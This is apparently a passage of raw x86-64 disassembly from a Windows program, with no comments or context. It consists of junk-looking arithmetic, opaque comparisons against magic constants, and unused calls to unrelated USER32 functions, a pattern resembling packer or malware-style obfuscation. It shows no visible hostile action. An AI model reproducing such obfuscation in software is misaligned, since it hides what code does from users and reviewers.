mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2378]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x4280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x41f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov eax, dword [0x140126010]
movzx ecx, al
mov eax, dword [rsp + 0x2394]
shl eax, cl
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x41f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x2378]
shr eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
and eax, ecx
mov byte [rsp + 0xed], al
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x2394]
sub ecx, eax
mov eax, ecx
mov dword [0x140126010], eax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x4248]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x41f0], rax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [rsp + 0x23d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
movsx eax, word [rsp + 0x934]
add eax, 0x7f53
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
xor eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x23cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2394], eax
mov eax, dword [0x140126010]
movzx ecx, al
mov eax, dword [rsp + 0x2394]
sar eax, cl
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2378]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23d4], eax
jmp 0x140003e88
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4250]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1400043b9
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x4298], rax
mov eax, 0x793
mov word [rsp + 0x938], ax
lea rax, [rsp + 0x930]
mov qword [rsp + 0x42a0], rax
mov rax, qword [rsp + 0x4250]
movzx eax, byte [rax]
mov byte [rsp + 0x23dc], al
cmp byte [rsp + 0x23dc], 0
je 0x14000430e
jmp 0x14000439b
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov dword [rsp + 0x23e0], eax
cmp dword [rsp + 0x23e0], 0x5367
je 0x14000432f
jmp 0x14000437b
lea rax, [rsp + 0x55]
mov qword [rsp + 0x42a8], rax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov byte [rsp + 0xef], al
lea rax, [rsp + 0x938]
mov qword [rsp + 0x42b0], rax
jmp 0x140004399
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [0x140125004]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
jmp 0x1400043b9
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x4298]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2378], eax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
shl eax, cl
mov byte [0x140125004], al
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
or eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sar eax, cl
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x23bc]
add eax, 0xaa
mov dword [rsp + 0x23bc], eax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x41f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x938]
sub eax, 0xf0e
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movzx eax, byte [0x140125004]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
and eax, ecx
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x4298]
mov rcx, qword [rsp + 0x41f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2378]
movzx ecx, al
mov eax, dword [rsp + 0x23d4]
shl eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
sar eax, cl
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
or eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
cmp dword [rsp + 0x23bc], 0xc1c0
jne 0x1400043b9
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
and eax, ecx
mov byte [0x140125005], al
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x4298]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4248]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x41f0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140004727
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov byte [rsp + 0x23e4], al
cmp byte [rsp + 0x23e4], 0x71
je 0x1400046d6
jmp 0x1400046d8
jmp 0x1400046e6
call qword [sym.imp.USER32.dll_GetClipboardViewer]
mov qword [rsp + 0x42b8], rax
mov eax, dword [rsp + 0x2378]
mov rcx, qword [rsp + 0x4208]
mov qword [rsp + 0x42c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov ecx, dword [0x140126010]
call fcn.14010a860
nop
jmp 0x14010a099
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x23e8], al
cmp byte [rsp + 0x23e8], 0
je 0x140004750
cmp byte [rsp + 0x23e8], 0x7e
je 0x140004872
jmp 0x140004885
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0x42c8], rax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov dword [rsp + 0x23ec], eax
cmp dword [rsp + 0x23ec], 0x7de
je 0x140004784
jmp 0x140004870
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
sar eax, cl
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4260]
movsx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
jge 0x140004870
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x23f0], al
cmp byte [rsp + 0x23f0], 0x2a
je 0x14000484d
cmp byte [rsp + 0x23f0], 0x4e
je 0x1400047db
jmp 0x140004870
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
or eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
sub eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
add eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xee]
and eax, ecx
mov byte [rsp + 0xed], al
jmp 0x140004870
mov r9d, 0x70
xor r8d, r8d
mov edx, 0x29
lea rcx, [rsp + 0x4208]
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov dword [rsp + 0x2398], eax
jmp 0x140004885
mov edx, dword [rsp + 0x2378]
mov ecx, dword [section..data]
call fcn.14010b570
nop
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
sub eax, ecx
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
mov qword [rsp + 0x42d0], rax
cmp qword [rsp + 0x42d0], 0
je 0x1400048c5
jmp 0x140109ea5
cmp dword [rsp + 0x237c], 0x8705
je 0x140004e64
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23f4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4298]
mov rcx, qword [rsp + 0x41f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [rsp + 0xef], al
movzx eax, word [rsp + 0x938]
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
and eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
movsx eax, word [rsp + 0x930]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov word [rsp + 0x734], ax
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x237c]
add eax, 0xb5
mov dword [rsp + 0x237c], eax
mov eax, dword [rsp + 0x23f4]
mov ecx, dword [rsp + 0x2378]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
add eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x93c], ax
movsx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
shl eax, cl
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
and eax, ecx
mov word [rsp + 0x938], ax
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4298]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2394], eax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov dword [rsp + 0x23f4], eax
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0x930]
movsx ecx, word [rsp + 0x934]
sub eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
add eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4280]
mov qword [rsp + 0x42d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x23f4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2378], eax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xef], al
movzx eax, word [rsp + 0x93c]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movzx eax, byte [0x140125004]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov byte [rsp + 0xef], al
movsx eax, word [rsp + 0x934]
movsx ecx, word [rsp + 0x734]
add eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4298]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
sub eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140125004], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
xor eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xef]
sar eax, cl
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4298]
mov rcx, qword [rsp + 0x41f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23d4], eax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x938], ax
jmp 0x1400048c5
lea rax, [rsp + 0x2394]
mov qword [rsp + 0x42e0], rax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov dword [rsp + 0x23f8], eax
cmp dword [rsp + 0x23f8], 0
je 0x140004e95
jmp 0x140004f28
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
sub eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov dword [rsp + 0x23fc], 0x99bb
movsx eax, word [rsp + 0x930]
mov dword [rsp + 0x2400], eax
cmp dword [rsp + 0x2400], 0x2fa4
je 0x140004ed6
jmp 0x140004ee8
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rax]
call fcn.14010a860
nop
jmp 0x140004f23
lea rax, [rsp + 0x934]
mov qword [rsp + 0x42e8], rax
mov dword [rsp + 0x2404], 0xd120
lea rax, [rsp + 0x938]
mov qword [rsp + 0x42f0], rax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x42f8], rax
jmp 0x140004ff9
mov r9d, 0xff
mov r8d, 0xc0
mov rdx, qword [rsp + 0x4300]
mov rcx, qword [rsp + 0x42b8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x2398], eax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
movzx eax, byte [0x140125004]
mov byte [rsp + 0x2408], al
cmp byte [rsp + 0x2408], 0x71
je 0x140004f97
cmp byte [rsp + 0x2408], 0x9b
je 0x140004fd8
jmp 0x140004ff9
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x4268]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x42c8]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0xed]
call fcn.14010bf30
nop
jmp 0x140004ff9
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
mov dword [rsp + 0x240c], 0xd1bc
mov dword [rsp + 0x2410], 0xb513
movabs rax, 0x171fd953bf744eb6
mov qword [rsp + 0x4308], rax
cmp dword [rsp + 0x2410], 0x83eb
jbe 0x140005594
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2394], eax
movsx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
or eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
sar eax, cl
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
shl eax, cl
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2394], eax
movabs rax, 0x1ad1922c259ecd01
mov rcx, qword [rsp + 0x4308]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4298]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [0x140125004]
add eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
sub eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
movabs rax, 0xd7906ce4da21195b
mov rcx, qword [rsp + 0x4308]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov ecx, dword [0x140126010]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2394], eax
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x41f0]
sar rax, cl
mov qword [rsp + 0x4298], rax
mov eax, dword [rsp + 0x2378]
mov rcx, qword [rsp + 0x4208]
mov qword [rsp + 0x4310], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4310]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x23f4], eax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x93c]
sub eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x2410]
sub eax, 0xf2
mov dword [rsp + 0x2410], eax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
sub eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [0x140126010]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2378]
mov ecx, dword [rsp + 0x23f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4298]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23cc]
add ecx, eax
mov eax, ecx
mov dword [0x140126010], eax
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
shl eax, cl
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x41f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4298], rax
mov rax, qword [rsp + 0x42e0]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
and eax, ecx
